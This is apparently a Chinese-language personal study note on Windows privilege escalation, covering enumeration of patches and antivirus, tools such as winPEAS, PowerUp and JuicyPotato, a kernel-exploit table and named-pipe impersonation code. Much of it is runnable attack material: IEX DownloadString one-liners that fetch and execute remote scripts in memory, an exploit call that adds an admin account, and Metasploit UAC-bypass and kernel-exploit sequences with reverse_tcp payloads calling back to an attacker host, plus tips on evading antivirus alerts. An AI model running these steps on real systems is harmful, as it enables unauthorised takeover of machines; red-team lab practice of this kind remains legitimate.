总述

本文总结了 Windows 当中,利用 Windows 操作系统的漏洞实现提权。

1. 信息收集:收集本地主机的相关防护信息,来指定我们的提权手法
	1. 提权漏洞锁定
		1.1. Windows 系统版本
			确定 Windows 的系统版本 对应的 存在哪些 提权漏洞,做一个初步的确定。
				systeminfo
		1.2. 漏洞补丁的相关情况的信息收集
			进一步排除无法利用的相关提权漏洞,来确定出我们可用的提权漏洞手法。
				systeminfo | findstr "KB"
				wmic qfe list
				
		1.3. 确定当前用户,以及当前用户所属的相关 用户组、特权信息 等相关信息
			确定我们当前符合满足哪些提权漏洞的利用条件,来确定我们的提权漏洞利用手法,并且不一定要一次性提升到 SYSTEM 权限,可以先尝试提权到 administrators 用户组当中,再提权到 SYSTEM。
		
		1.4 相关提权信息收集的脚本,针对收集的信息进行分析,来查看系统还有哪些疑似的脆弱突破点,进行攻击实现提权。
		
		1.5 MSF 一键测试提权漏洞的相关模块...hh
	
	2. 密码、凭证、凭据等信息泄露
		其实这个步骤更多时候的是我们拥有了落地的一个高权限后信息收集的信息,方便我们后续的一个内网横向 以及 内网其他主机的权限提升 的 手段(密码碰撞、内网喷洒。)
			2.1 mimikatz - 用户的 NTLM_Hash、明文密码。
			2.2 RDP 等相关服务存储的凭据文件。
			2.3 数据库等相关服务存储的密码 及 服务自身的凭据信息等。
			2.4 浏览器存储的相关密码凭证 及 XShell、Navicat 等相关第三方软件存储的相关密码凭据。
			2.5 收集到当前主机上存在哪些曾有过 CVE 等相关历史漏洞的第三方服务与程序,尝试通过他们实现提权。
			


2. 提权漏洞利用
	1. 相关 EXP,MSF 模块、CS 模块 的利用。(or 手搓漏洞复现)
	2. Windows 相关环境配置存在漏洞缺陷,可以实现提权。
		比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等。
	3. 数据库、Notepad++ 等第三方服务的漏洞利用实现提权。
Windows 提权手段:
	1. Windows 系统(内核)漏洞
		EXP、MSF、CS
	2. Windows 相关环境配置存在漏洞缺陷,可以实现提权。
		比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等。
	3. 数据库等相关服务 - 提权
	4. 第三方软件存在提权漏洞实现提权
	5. 域环境提权(不是提权方法,此处是提醒还有 域提权 也是 Windows 提权的一种。)
Windows提权:
	普通用户权限(Users)
	管理员权限(Administrators)
	服务系统权限 (SYSTEM)
	访客权限 (Guest)

权限提升条件
	1. 拥有Webshell/Beacon/Sessions,拥有普通用户权限
		肯定要有落点,有初始的一个控制权限以后,我们才谈什么提权,连权限都没有如何提权呢?
	2. 本地或远程服务器上存在漏洞,拥有漏洞利用工具代码
		提权不是凭空提权,而是利用相关的漏洞、权限配置不当 等 途径,实现异常的权限突破拥有高权限账户的控制权。
	3. 拥有某些软件的账号密码
		通过用户的相关密码习惯直接得到其他高权限账户的密码,正常的登录途径实现权限跃升。
	...

一、提权信息收集

1)手动信息收集

本次手动信息收集的相关命令手法,我们都以 WMIC 的命令来进行,具体为什么可以详见 红队经验 篇章。

WMIC:
	Windows管理工具命令行,提供了从命令行接口和批命令脚本执行系统管理的支持,对于信息收集和渗透测试是非常实用的。

1. 补丁

通过获取补丁的相关信息来帮我们排除相关被修复的提权漏洞,来帮我们锁定后续的提权漏洞的选择。
# 查看补丁的详细信息状况
wmic qfe list
wmic qfe get

wmic qfe get Caption,Description,HotFixID,InstalledOn

wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB"

# 仅查看相关的补丁编号
wmic qfe get hotfixid
(qfe - Quick Fix Engineering - 快速修复工程)

systeminfo | findstr "KB"
(KB - Knowledge Base - KBID 即 “知识库编号”,是微软为其技术文档)

# 列出安全更新补丁
powershell -c "Get-Hotfix -description 'Security update'"

Pasted image 20250816160415.png

Pasted image 20250816161725.png

Pasted image 20250803044632.png

Pasted image 20250803044115.png

Pasted image 20250803044355.png

2. 杀软

通过识别杀软,来方便我们可以在本地尝试我们的免杀是否绕过了目标的防护杀软,是否会被杀软识别,从而避免在目标主机上引起相关告警。
1)获取杀软名
WMIC /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName,productState,pathToSignedProductExe | findstr /V /B /C:displayName || echo No Antivirus installed

Pasted image 20250803160435.png

2)获取杀软名和安装路径
WMIC /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,productState,pathToSignedProductExe

Pasted image 20250803160826.png

3)常见的杀毒软件进程
tasklist
tasklist /v

wmic process list brief
进程名称软件名称
360SD.exe360 杀毒
360TRAY.exe360 实时保护
HipsMain.exe火绒
ZHUDONGFANGYU.exe360s 主动防御
KSAFETRAY.exe金山卫士
SAFEDOGUPDATECENTER.exe服务器安全狗
MCAFEE MCSHIELD.exeMCAFEE
EGULEXENoD32
AVP.exe卡巴斯基
AVGUARD.exe小红伞
BDAGENT.exeBITDEFENDER
QQPCRTP.exeQQ 电脑管家
hids主机防护类产品
hws*护卫神
yunsuo*云锁
D_Safe*D 盾

Pasted image 20250803162050.png

2)自动化信息收集

1. winPEAS

	winPEAS 是一款常用于渗透测试和安全评估的开源工具,全称为 "Windows Privilege Escalation Awesome Scripts Suite"(Windows 权限提升优秀脚本套件)。
	具体来说,winPEAS 会扫描系统的多个方面,包括:
		系统信息(版本、补丁、架构等)
		用户和组权限配置
		服务和进程的权限设置
		注册表中的敏感配置
		安装的软件和漏洞
		文件和目录的权限问题
		计划任务、令牌等潜在的提权路径
	
	扫描后,它会以清晰的方式呈现结果,并用颜色标记高风险项(通常红色表示高危),帮助测试人员快速定位可能的权限提升点。
	winPEAS 支持多种执行方式,适用于不同的 Windows 版本,是渗透测试中枚举 Windows 系统信息和寻找提权机会的常用工具之一。

项目地址:
	https://github.com/peass-ng/PEASS-ng
1)bat - winPEASbat(推荐)
更推荐 bat 脚本,因为 exe 版本需要考虑 .NET 版本,最新版本呢需要 .NET > v4.0.30319
winPEAS.bat > wininfo.txt

Pasted image 20250816164834.png

Pasted image 20250816164906.png

2)exe - winPEASexe
winPEASx64.exe quiet notcolor log=wininfo.txt
[*]WinPEAS用于枚举在本地提升权限的可能路径:

	domain 枚举域信息
	systeminfo 搜索系统信息
	userinfo 搜索用户信息
	processinfo 搜索进程信息
	servicesinfo 搜索服务信息
	applicationsinfo 搜索安装的应用程序信息
	networkinfo 搜索网络信息
	windowscreds 搜索windows凭证
	browserinfo 搜索浏览器信息
	filesinfo 搜索可能包含凭据的通用文件
	fileanalysis 搜索可能包含凭据的特定文件,并在文件中搜索正则表达式
	eventsinfo 显示有趣的事件信息
	quiet 不输出banner
	notcolor 不要使用ansi颜色(全白色)(推荐,否则 log 日志当中也是有彩色字符的乱码)
	searchpf 在Program File文件夹中通过regex搜索凭据
	wait 在检查时等待用户输入
	debug 显示调试信息-内存使用情况、方法执行时间
	log[=logfile] 将所有输出记录到定义为日志文件的文件,或者记录到“out.text”(如果未指定)
	max-regex-file-size=1000000 搜索regex的最大文件大小(单位:收件箱)。默认:1000000 B
	
	Additional checks (slower):
		-lolbas 运行额外的LOLBAS检查
		-linpeas=[url] 运行额外的linpeas.sh检查默认WSL分发,可以选择提供自定义linpeas.sh

Pasted image 20250816164259.png

Pasted image 20250816165614.png

.exe: 需要考虑 .NET 版本

Pasted image 20250816164045.png

3)powershell - winPEASps1
有问题,暂不推荐使用。
powershell -nop -exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString('https://gitee.com/yijingsec/PEASS-ng/raw/master/winPEAS/winPEASps1/winPEAS.ps1');Start-ACLCheck"> info.txt

2. PowerUP

	PowerUP 是一款专注于 Windows 系统权限提升的 PowerShell 脚本工具,主要用于渗透测试和安全评估中发现系统潜在的权限提升漏洞。
	它的核心功能是通过扫描系统的各种配置和组件,识别可能被利用来提升权限的弱点,主要包括以下几个方面:
		检查系统服务的权限配置(如不安全的服务路径、可修改的服务二进制文件等)
		查找注册表中的敏感设置(如自动登录凭据、服务配置错误等)
		检测计划任务的权限问题
		识别具有漏洞的软件或缺失的系统补丁
		分析令牌和特权相关的潜在提权路径
	
	使用方式上,PowerUP 通常在 PowerShell 环境中加载运行,提供了一系列模块化的命令(如 Get-ServiceUnquoted 检查未加引号的服务路径、Get-ModifiableServiceFile 查找可修改的服务文件等),方便测试人员针对性地枚举系统弱点。
	与 winPEAS 相比,PowerUP 更轻量且专注于 PowerShell 环境,适合在已获取一定权限的 Windows 系统中(尤其是能运行 PowerShell 的场景)快速排查提权机会,是渗透测试中枚举 Windows 权限漏洞的常用工具之一。
	Powershell提权框架 - Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。

参考文章:
	https://evi1cg.me/archives/Powerup.html


大项目地址:
	https://github.com/PowerShellMafia/PowerSploit

精确脚本地址:
	https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
cmd环境运行
powershell -ep bypass -c "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
内存加载运行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://gitee.com/yijingsec/PowerSploit/raw/master/Privesc/PowerUp.ps1'); Invoke-AllChecks"
CS 加载运行
powershell-import script/powerup.ps1

powershell Invoke-AllChecks

Pasted image 20250818005733.png

Pasted image 20250816171534.png

Pasted image 20250816171528.png

Pasted image 20250816171609.png

3. CollectAV_KB

使用异步快速收集目标所运行的杀软和补丁信息,并且快速分析得出可能适配的 提权漏洞。
	要求目标的.NET版本为.NET4.5以上(因为用的异步方法只支持.NET4.5+)


项目地址:
	https://github.com/TryA9ain/CollectAV_KB

Pasted image 20250816185907.png

Pasted image 20250816185957.png

4. beRoot

	此工具不实现任何漏洞利用。它的主要目标不是对主机进行配置评估(列出所有服务、所有进程、所有网络连接等),而是仅打印那些被发现可能用于提升权限的信息。

项目地址:
	https://github.com/AlessandroZ/BeRoot

Pasted image 20250816190714.png

5. Watson

	Watson 是一个 .NET 工具,旨在枚举缺失的 KB 并建议利用权限提升漏洞。

项目地址:
	https://github.com/rasta-mouse/Watson
Windows 10 1507、1511、1607、1703、1709、1803、1809、1903、1909、2004

Server 2016 和 2019

Pasted image 20250816191740.png

6. Sherlock

该 PowerShell 脚本可快速查找本地权限提升漏洞缺少的软件补丁。

项目地址:
	https://github.com/rasta-mouse/Sherlock
powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://gitee.com/yijingsec/Sherlock/raw/master/Sherlock.ps1');Find-AllVulns

7. potato 家族

1)juicy-potato
	potato 家族的一员。

项目地址:
	https://github.com/ohpe/juicy-potato‘

下载链接:
	https://gitee.com/yijingsec/juicy-potato/releases/download/v0.1/JuicyPotato.exe
Potato的限制条件有:
	1. 需要具有SeImpersonate或者SeAssignPrimaryToken权限 
			whoami /priv 查看特权
			一般从Web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。
			一般大多数的服务型账户IIS、MSSQL等,有这个权限,大多数用户级的账户没有这个权限
	2. 开启DCOM
	3. 本地支持RPC或者远程服务器支持RPC并能成功登录
	4. 能够找到可用的COM对象
一般从Web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。
一般大多数的服务型账户IIS、MSSQL等,有这个权限,大多数用户级的账户没有这个权限,都可以执
行 whoami /priv 查看是否具有权限。
# 利用JuicyPotato以system权限执行命令
	JuicyPotato-ws.exe -p "whoami"
	
	JuicyPotato-ws.exe -p "xx.exe"

Pasted image 20250816194407.png

Pasted image 20250816193749.png

2)SweetPotato
项目地址:
	https://github.com/uknowsec/SweetPotato?tab=readme-ov-file
SweetPotato.exe -a whoami

SweetPotato.exe -a "C:\test\xx.exe"

Pasted image 20250816193848.png

3)getSystem
项目地址:
	https://github.com/uknowsec/getSystem

Pasted image 20250816194606.png

二. 提权

1. Windows内核漏洞提权

1、确定可用提权漏洞

根据获取的相关信息:
	补丁信息、杀软信息 等

综合分析得出可能可以利用的相关提权漏洞,进行提权漏洞利用测试。
1)在线网站查询补丁对应漏洞
WPEE
# Windows Privilege Escalation Exploit
# 这两个必须只填写 KB。
# wmic qfe get hotfixid
# 感觉有点问题啊,好像只是用来查询的而已
https://neargle.github.io/win-powerup-exp-index/
http://34cefd9ca107.target.yijinglab.com/

Pasted image 20250816173404.png

Tscan(推荐!!!)
# 推荐!!
Tscan

Pasted image 20250816173643.png

Pasted image 20250816174025.png

Pasted image 20250816174259.png

2)已对外公开EXP
Windows平台提权漏洞集合:
	https://github.com/SecWiki/windows-kernel-exploits
	https://github.com/Ascotbe/Kernelhub
	http://kernelhub.ascotbe.com/Home/Docs/#/
		http://kernelhub.ascotbe.com/Windows/Docs/#/TestSuccess
漏洞编号 / 名称KB 编号漏洞描述影响系统
MS17-017KB4013081GDI Palette Objects Local Privilege EscalationWindows 7/8
CVE-2017-8464-LNK Remote Code Execution VulnerabilityWindows 10/8.1/7/2016/2010/2008
CVE-2017-0213-Windows COM Elevation of Privilege VulnerabilityWindows 10/8.1/7/2016/2010/2008
MS17-010KB4013389Windows Kernel Mode DriversWindows 7/2008/2003/XP
MS16-135KB3199135Windows Kernel Mode Drivers2016
MS16-111KB3186973kernel apiWindows 10 10586 (32/64)/8.1
MS16-098KB3178466Kernel DriverWin 8.1
MS16-075KB3164038Hot Potato2003/2008/7/8/2012
MS16-034KB3143145Kernel Driver2008/7/8/10/2012
MS16-032KB3143141Secondary Logon Handle2008/7/8/10/2012
MS16-016KB3136041WebDAV2008/Vista/7
MS15-097KB3089656remote code executionwin8.1/2012
MS15-076KB3067505RPC2003/2008/7/8/2012
MS15-077KB3077657ATMXP/Vista/Win7/Win8/2000/2003/2008/2012
MS15-061KB3057839Kernel Driver2003/2008/7/8/2012
MS15-051KB3057191Windows Kernel Mode Drivers2003/2008/7/8/2012
MS15-010KB3036220Kernel Driver2003/2008/7/8
MS15-015KB3031432Kernel DriverWin7/8/8.1/2012/RT/2012 R2/2008 R2
MS15-001KB3023266Kernel Driver2008/2012/7/8
MS14-070KB2989935Kernel Driver2003
MS14-068KB3011780Domain Privilege Escalation2003/2008/2012/7/8
MS14-058KB3000061Win32k.sys2003/2008/2012/7/8
MS14-040KB2975684AFD Driver2003/2008/2012/7/8
MS14-002KB2914368NDProxy2003/XP
MS13-053KB2850851win32k.sysXP/Vista/2003/2008/win 7
MS13-046KB2840221dxgkrnl.sysVista/2003/2008/2012/7
MS13-005KB2778930Kernel Mode Driver2003/2008/2012/win7/8
MS12-042KB2972621Service Bus2008/2012/win7
MS12-020KB2671387RDP2003/2008/7/XP
MS11-080KB2592799AFD.sys2003/XP
MS11-062KB2566454NDISTAPI2003/XP
MS11-046KB2503665AFD.sys2003/2008/7/XP
MS11-011KB2393802kernel Driver2003/2008/7/XP/Vista
MS10-092KB2305420Task Scheduler2008/7
MS10-065KB2267960FastCGIIIS 5.1, 6.0, 7.0, and 7.5
MS10-059KB982799ACL-Churraskito2008/7/Vista
MS10-048KB2160329win32k.sysXP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7
MS10-015KB977165KiTrap0D2003/2008/7/XP
MS10-012KB971468SMB Client Trans2 stack overflowWindows 7/2008R2
MS09-050KB975517Remote Code Execution2008/Vista
MS09-020KB970483IIS 6.0IIS 5.1 and 6.0
MS09-012KB959454ChimichurriVista/win7/2008/Vista
MS08-068KB957097Remote Code Execution2000/XP
MS08-067KB958644Remote Code ExecutionWindows 2000/XP/Server 2003/Vista/Server 2008
MS08-066--Windows 2000/XP/Server 2003
MS08-025KB941693Win32.sysXP/2003/2008/Vista
MS06-040KB921883Remote Code Execution2003/xp/2000
MS05-039KB899588PnP ServiceWin 9X/ME/NT/2000/XP/2003
MS03-026KB823980Buffer Overrun In RPC InterfaceNT/2000/XP/2003

2、漏洞利用

此处只拿几个 CVE 来举例,具体情况具体分析。

A. CVE-2018-8120

项目地址:
	https://github.com/alpha1ab/CVE-2018-8120
		https://github.com/alpha1ab/CVE-2018-8120/tree/master/CVE-2018-8120/x64/Release
	https://github.com/rip1s/CVE-2018-8120
https://github.com/alpha1ab/CVE-2018-8120
	Usage: exp.exe command
	Example: exp.exe "net user admin admin /add"

参考:
	https://www.freebuf.com/vuls/174183.html

补丁编号:
	KB4103727
不知道为什么有问题,暂时跳过。

Pasted image 20250816174730.png

Pasted image 20250816193734.png

B. CVE-2019-0803

项目地址:
	https://github.com/k8gege/K8tools/blob/master/CVE-2019-0803.exe
Q:\QiaoShen\1Tool\PostExpKit\bin\escalation\OtherExps\CVE-2019-0803.exe
	CVE-2019-0803.exe cmd whoami

Q:\QiaoShen\1Tool\内网\提权\Windows\利用\Kernelhub\Windows\CVE-2019-0803\poc_test.exe
	poc_test.exe(CS 远控无法使用,仅可在本地时运用 或者 MSF)
	运行一个权限为 SYSTEM 的 cmd 命令窗口

Pasted image 20250816183157.png

Pasted image 20250816184338.png

Pasted image 20250816183735.png

Pasted image 20250816183613.png

Pasted image 20250818004805.png

C. CVE-2020-0787

项目地址:
	https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION

Pasted image 20250816184032.png

Pasted image 20250816184633.png

3、框架模块 - 一键提权

MSF

getuid - 查看当前账户

1)getsystem
	本质上是让 administrators 组当中的成员,提权到 SYSTEM 权限。

getsystem:
	getsystem是由Metasploit-Framework提供的一个模块,它可以将一个管理帐户(通常为本地
Administrator账户或者过了UAC认证的账户)提升为本地SYSTEM帐户权限。
	
	getsystem 一键提权采用的几种方法:
		Named Pipe Impersonation:
			劫持命名管道中的系统令牌。
			常见方法,用于在目标是管理员权限时进一步提升到系统权限。
		Token Duplication:
			利用令牌复制技术。
			需要目标系统中存在某些高权限令牌。
		Named Pipe Impersonation (In Memory/Admin):
			在内存中利用命名管道进行权限提升。
		
	getsystem 一键提权前提条件:
		1. 为 administrators 组当中的成员,或者 过了 UAC认证 的账户。(*)
		2. 常见的几种 getsystem 的手法没有被禁用或者修复。
# 查看所有 getsystem 的提权方法
getsystem -h

# 自动尝试所有提权方法
getsystem

# 指定使用编号为1的提权技术
getsystem -t 1
1、确定 session 符合 getsystem 提权条件

Pasted image 20250817114050.png

2、尝试 getsystem 提权

Pasted image 20250817114129.png

getsystem 原理详解 - 命名管道原理
命名管道介绍:
	命名管道(Named Pipes)是一种简单的进程间通信(IPC)机制。命名管道可以在同一台计算机的不
同进程之间,或者跨越一个网络的不同计算机的不同进程之间的可靠的双向或单向的数据通信。
	
	命名管道的命名规范遵循“通用命名规范(UNC)" :
		\\server\pipe[\path]\name
	
	其中:
		\\server 指定一个服务器的名字,如果是本机则用\\.表示,\\192.168.1.100表示网络上的服务器。
		\pipe 是一个不可变化的“硬编码”字串(不区分大小写),用于指出该文件从属于NPFS
		[\path]\name 则唯一标识一个命名管道的名称。
原理总结:
	meterpreter中getsystem的Named Pipe Impersonation提权功能原理:
		1. 首先会创建一个命名管道
		2. 然后创建一个服务去运行cmd /c echo "some data" > \\.\pipe\[random pipe name]
		3. 当 cmd 连接到 Meterpreter 的命名管道的时候,通过令牌模拟,模拟连接客户端的Token
		4. 因为服务运行是 SYSTEM 权限,因此MSF也就得到了一个 SYSTEM 的 session
创建命名管道:

Pasted image 20250817114727.png

命名管道服务端代码(pipe_server.cpp):

#include "iostream"
#include "windows.h"
using namespace std;

#define PIPE_NAME "\\\\.\\Pipe\\QiaoShen"

int main()
{
    char buffer[1024];
    DWORD ReadNum;

    // 创建命名管道
    HANDLE hPipe = CreateNamedPipe(
        PIPE_NAME,
        PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_BYTE | PIPE_READMODE_BYTE,
        2,                  // 最大实例数
        0,                  // 输出缓冲区大小
        0,                  // 输入缓冲区大小
        1000,               // 超时时间
        NULL                // 默认安全属性
    );

    if (hPipe == INVALID_HANDLE_VALUE)
    {
        cout << "创建命名管道失败!" << endl;
        CloseHandle(hPipe);
        return 0;
    }

    // 等待客户端连接
    if (ConnectNamedPipe(hPipe, NULL) == FALSE)
    {
        cout << "与客户机连接失败!" << endl;
        CloseHandle(hPipe);
        return 0;
    }

    cout << "与客户机连接成功!" << endl;

    // 循环读取客户端发送的数据
    while (1)
    {
        if (ReadFile(hPipe, buffer, 1024, &ReadNum, NULL) == FALSE)
        {
            cout << "读取数据失败!" << endl;
            break;
        }
        
        buffer[ReadNum] = '\0';  // 添加字符串结束符
        cout << "读取数据: " << buffer << endl;
    }

    cout << "关闭管道!" << endl;
    CloseHandle(hPipe);
    system("pause");
    
    return 0;
}
命名管道客户端代码(pipe_client.cpp):

#include "iostream"
#include "windows.h"
#include "stdio.h"
using namespace std;

#define PIPE_NAME "\\\\.\\Pipe\\QiaoShen"

int main()
{
    char buffer[1024];
    DWORD WriteNum;

    // 等待命名管道可用
    if (WaitNamedPipe(PIPE_NAME, NMPWAIT_WAIT_FOREVER) == FALSE)
    {
        cout << "等待命名管道实例失败!" << endl;
        return 0;
    }

    // 打开命名管道
    HANDLE hPipe = CreateFile(
        PIPE_NAME,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hPipe == INVALID_HANDLE_VALUE)
    {
        cout << "创建命名管道失败!" << endl;
        CloseHandle(hPipe);
        return 0;
    }

    cout << "与服务器连接成功!" << endl;

    // 循环读取输入并发送数据
    while (1)
    {
        gets(buffer);  // 等待用户输入
        if (WriteFile(hPipe, buffer, strlen(buffer), &WriteNum, NULL) == FALSE)
        {
            cout << "数据写入管道失败!" << endl;
            break;
        }
    }

    cout << "关闭管道!" << endl;
    CloseHandle(hPipe);
    system("pause");
    
    return 0;
}
模拟令牌:
	模拟令牌是命名管道中常见的一种方法,一般可以用来提权操作,Metasploit 中 getsystem 所采
用的第一种技术也是这个原理。
	
	具体步骤:
		1. 创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。
		2. 创建一个进程,并让进程创建命名管道。
		3. 让之前的以system权限启动的程序启动并连接这个命名管道。
		4. 利用ImpersonateNamedPipeClient()函数生成system权限的token。
		5. 利用system权限的token启动cmd.exe。
过程模拟:
	1. 在一个拥有 SeImpersonatePrivilege(身份验证后模拟客户端权限)的用户(User组)启动一个进程,这个进程的作用是创建一个命名管道等待连接,连接成功后模拟客户端的权限,并用这个权限启动一个cmd窗口。
	
	相关原理文章:
		https://learn.microsoft.com/zh-cn/troubleshoot/windows-server/windows-security/seimpersonateprivilege-secreateglobalprivilege
使用administrator用户通过powershell脚本pipeserverimpersonate.ps1创建一个命名管道

	powershell -ep bypass -f pipeserverimpersonate.ps1


Win7查看命令管道,Powershell中输入如下命令:
	[System.IO.Directory]::GetFiles("\\.\\pipe\\")
	
	Win7及以上系统,查看命名管道还可以使用如下命令:
		# 返回对象列表
		get-childitem \\.\pipe\
		
		# 只显示名称
		(get-childitem \\.\pipe\).FullName

工具地址:
	https://github.com/decoder-it/pipeserverimpersonate/blob/master/pipeserverimpersonate.ps1

Pasted image 20250817121705.png

在administrator用户权限下,创建一个服务 mingy-pipe:
	因为只有在 管理员组 administrators 当中的用户才有权限创建一个服务。

	sc create mingy-pipe binpath= "cmd /c echo mingy > \\.\pipe\mingy"
	
	sc qc mingy-pipe

Pasted image 20250817121733.png

在administrator用户权限下,启动mingy-pipe服务:
	服务启动,启动的都是 SYSTEM 权限。

	sc start mingy-pipe

	启动mingy-pipe服务时,会以SYSTEM权限执行 cmd /c echo mingy > \\.\pipe\mingy 命令,即以SYSTEM权限访问创建的命名管道 \\.\pipe\mingy,Powershell脚本会打开一个模拟连接命名管道客户端权限的cmd窗口。

Pasted image 20250817122036.png

原理总结:
	meterpreter中getsystem的Named Pipe Impersonation提权功能原理:
		1. 首先会创建一个命名管道
		2. 然后创建一个服务去运行cmd /c echo "some data" > \\.\pipe\[random pipe name]
		3. 当 cmd 连接到 Meterpreter 的命名管道的时候,通过令牌模拟,模拟连接客户端的Token
		4. 因为服务运行是 SYSTEM 权限,因此MSF也就得到了一个 SYSTEM 的 session
2)BypassUAC
	本质上是让 Admins / administrators 组当中的用户,绕过 UAC 的提权认证,拥有 UAC 认证后的权限,从而可以 getsystem 提权 SYSTEM 权限。(上线 payload 的时候没有 “以管理员身份运行” 就需要 BypassUAC 来实现 getsystem 提权条件的满足。(低版本 Windows - Win7 不需要))
	我们平常 “使用管理员权限打开” 以后弹出的认证框就是 UAC 认证。只是我们平常都是 administrators 组当中的成员进行使用,因此只用点击确认即可,在低权限账户使用 UAC 认证时,需要输入 administrators 组当中的用户的账户密码认证,实现提权。
	
	如果 getsystem 提权命令执行失败,可以尝试使用 bypassuac 模块绕过 UAC,从而进行提权。
	
	UAC:用户帐户控制(User Account Control),是 Windows 操作系统中采用的一种控制机制,它
以预见的方式阻止不必要的系统范围更改。
	getsystem 提权方式对于普通用户来说是失败的不可正常执行的,那么这种情况下就需要绕过系统
UAC来进行getsystem提权。
0. BypassUAC 实现 getsystem 的前提提要 - 演示
payload - qiaoshen.exe

Pasted image 20250817124633.png

当我们普通启动时

Pasted image 20250817124726.png

Pasted image 20250817124810.png

尝试 getsystem

Pasted image 20250817125038.png

我们现在尝试 UAC 的方式 - “以管理员方式启动” 打开我们的 payload。

Pasted image 20250817125140.png

Pasted image 20250817125232.png

尝试 getsystem

Pasted image 20250817125339.png

我们 BypassUAC 模块的本质也就是要解决我们上述的这种没有 “以管理员身份运行” 上线的 payload。
	因为平常我们 命令行 启动 payload 上线,也都是 第一种情况 一样的上线。

Pasted image 20250817125720.png

1. bypassuac
use exploit/windows/local/bypassuac
set session 1
set payload windows/x64/meterpreter_reverse_tcp
set LHOST 172.16.41.63
set LPORT 4205
set target 1
exploit / run

Pasted image 20250817125901.png

陨落

Pasted image 20250817125938.png

陨落2:
	当前 Meterpreter 会话已经是管理员权限( elevated state ),而 bypassuac 模块的作用是 “绕过 UAC 提升权限”,当你已经拥有高权限时,这个模块就会终止运行。

Pasted image 20250817132244.png

成功情况

Pasted image 20250817132306.png

通过bypassUAC获取的session可以看到依然是普通权限,可以执行getsystem进行提权至system权限。
2. bypassuac_injection
use exploit/windows/local/bypassuac_injection
set session 1
set payload windows/x64/meterpreter_reverse_tcp
set LHOST 172.16.41.63
set LPORT 4205
set target 1
exploit / run

Pasted image 20250817130623.png

陨落

Pasted image 20250817130641.png

成功
3. bypassuac_eventvwr
use exploit/windows/local/bypassuac_eventvwr
set session 1
set payload windows/x64/meterpreter_reverse_tcp
set LHOST 172.16.41.63
set LPORT 4205
set target 1
exploit / run

Pasted image 20250817130834.png

陨落

Pasted image 20250817130857.png

成功
4. bypassuac_comhijack
use exploit/windows/local/bypassuac_comhijack
set session 1
set payload windows/x64/meterpreter_reverse_tcp
set LHOST 172.16.41.63
set LPORT 4205
exploit / run

Pasted image 20250817131217.png

陨落

Pasted image 20250817131306.png

成功
更多 BypassUAC 模块
search uac

search bypassuac

Pasted image 20250817123357.png

Pasted image 20250817131411.png

3)Local_exploit_suggester
local_exploit_suggester 是一个漏洞利用后渗透模块,可用于检查系统中是否存在本地漏洞。它执行本地漏洞利用检查;但不会运行利用任何漏洞,这意味着可以在不进行入侵的情况下扫描系统。
	不必手动搜索有效的本地漏洞;它将根据系统的平台和体系结构向您显示目标容易受到哪些攻击。

优点:省去手动查找本地漏洞的麻烦,节省时间
缺点:不是所有列出的local exploit都可用,准确率一般,需要进一步进行利用排查出可用的。
	准确率不是一般的差。。。可能一个用不了。。。实操两次,两次都是一个用不了哈哈哈哈哈哈哈哈哈。


模块官方仓库地址:
	https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/multi/recon/local_exploit_suggester.md

相关项目:
	https://github.com/AonCyberLabs/Windows-Exploit-Suggester
0. 前情提要
普通权限账户,无法使用 getsystem 实现提权,BypassUAC 也无法提权成功,因为只是一个普通用户,非 administrators 组 用户。

Pasted image 20250817133115.png

Pasted image 20250817133331.png

Pasted image 20250817133432.png

1. 模块利用
use post/multi/recon/local_exploit_suggester

set session 1

exploit / run

Pasted image 20250817133520.png

Pasted image 20250817133634.png

exploit/windows/local/cve_2019_1458_wizardopium

exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move

exploit/windows/local/cve_2020_1054_drawiconex_lpe

exploit/windows/local/cve_2021_40449

exploit/windows/local/ms10_092_schelevator

exploit/windows/local/ms14_058_track_popup_menu

exploit/windows/local/ms15_051_client_copy_image

exploit/windows/local/ms15_078_atmfd_bof

exploit/windows/local/ms16_014_wmi_recv_notif

exploit/windows/local/tokenmagic
4)Windows内核漏洞提权
1、enum_patches - 查询补丁
查当前主机安装的补丁。
use post/windows/gather/enum_patches

set session 1

exploit / run

Pasted image 20250817141248.png

Pasted image 20250817141802.png

search MS17-010

Pasted image 20250817141458.png

Pasted image 20250817141606.png

2、windows-kernel-exploits
Windows平台提权漏洞集合: 
	https://github.com/SecWiki/windows-kernel-exploits

metasploit中查找提权模块:
	search exploit/windows/local Privilege
	search ms

Pasted image 20250817141024.png

Pasted image 20250817141049.png

3、Windows ClientCopyImage Win32k Exploit
	适用于Win7、Win server 2008R2 SP1 x64
use exploit/windows/local/ms15_051_client_copy_image
set session 1
set payload windows/x64/meterpreter/reverse_tcp
set lhost 172.16.41.63
set lport 4205
set target 1
exploit / run

Pasted image 20250817142111.png

4、MS14_058提权
use exploit/windows/local/ms14_058_track_popup_menu
set session 1
set payload windows/x64/meterpreter/reverse_tcp
set lhost 172.16.41.63
set lport 4205
set target 1
exploit / run

Pasted image 20250817142833.png

5)JuicyPotato
工具项目地址:
	https://github.com/ohpe/juicy-potato

